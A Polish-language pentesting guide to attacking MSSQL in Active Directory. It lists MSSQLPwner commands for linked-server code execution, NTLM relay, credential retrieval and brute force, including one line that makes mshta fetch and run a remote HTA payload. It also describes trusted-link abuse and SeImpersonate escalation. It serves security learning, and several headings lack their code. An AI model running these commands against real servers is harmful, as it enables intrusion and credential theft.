MSSQL AD Abuse
MSSQL AD Abuse
MSSQL Enumeracja / Odkrywanie
Python
Narzędzie MSSQLPwner opiera się na impacket i pozwala również na uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków.
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Enumerowanie z sieci bez sesji domenowej
Enumerowanie z wnętrza domeny
MSSQL Podstawowe Wykorzystanie
Dostęp do DB
MSSQL RCE
Może być również możliwe wykonywanie poleceń wewnątrz hosta MSSQL
Sprawdź na stronie wspomnianej w następnym rozdziale, jak zrobić to ręcznie.
MSSQL Podstawowe Sztuczki Hackingowe
1433 - Pentesting MSSQL - Microsoft SQL ServerMSSQL Zaufane Linki
Jeśli instancja MSSQL jest zaufana (link bazy danych) przez inną instancję MSSQL. Jeśli użytkownik ma uprawnienia do zaufanej bazy danych, będzie mógł wykorzystać relację zaufania do wykonywania zapytań również w innej instancji. Te zaufania mogą być łączone i w pewnym momencie użytkownik może być w stanie znaleźć źle skonfigurowaną bazę danych, w której może wykonywać polecenia.
Linki między bazami danych działają nawet w przypadku zaufania między lasami.
Nadużycie Powershell
Metasploit
Możesz łatwo sprawdzić zaufane linki za pomocą metasploit.
Zauważ, że metasploit spróbuje wykorzystać tylko funkcję openquery()
w MSSQL (więc, jeśli nie możesz wykonać polecenia za pomocą openquery()
, będziesz musiał spróbować metody EXECUTE
ręcznie, aby wykonać polecenia, zobacz więcej poniżej.)
Ręcznie - Openquery()
Z Linux możesz uzyskać powłokę konsoli MSSQL za pomocą sqsh i mssqlclient.py.
Z Windows możesz również znaleźć linki i wykonać polecenia ręcznie, używając klienta MSSQL, takiego jak HeidiSQL
Zaloguj się za pomocą uwierzytelniania Windows:
Znajdź zaufane linki
Wykonaj zapytania w zaufanym linku
Wykonaj zapytania przez link (przykład: znajdź więcej linków w nowej dostępnej instancji):
Sprawdź, gdzie używane są podwójne i pojedyncze cudzysłowy, ważne jest, aby używać ich w ten sposób.
Możesz kontynuować tę ręcznie zaufaną sieć linków w nieskończoność.
Jeśli nie możesz wykonać akcji takich jak exec xp_cmdshell
z openquery()
, spróbuj metody EXECUTE
.
Ręcznie - EXECUTE
Możesz również nadużyć zaufanych linków używając EXECUTE
:
Eskalacja uprawnień lokalnych
Użytkownik lokalny MSSQL zazwyczaj ma specjalny rodzaj uprawnienia nazywanego SeImpersonatePrivilege
. Umożliwia to kontu "podszywanie się pod klienta po uwierzytelnieniu".
Strategią, którą wielu autorów wymyśliło, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej lub atakującej usłudze, którą tworzy napastnik. Ta fałszywa usługa jest w stanie podszywać się pod usługę SYSTEM, gdy ta próbuje się uwierzytelnić.
SweetPotato ma zbiór tych różnych technik, które można wykonać za pomocą polecenia execute-assembly
Beacona.
Last updated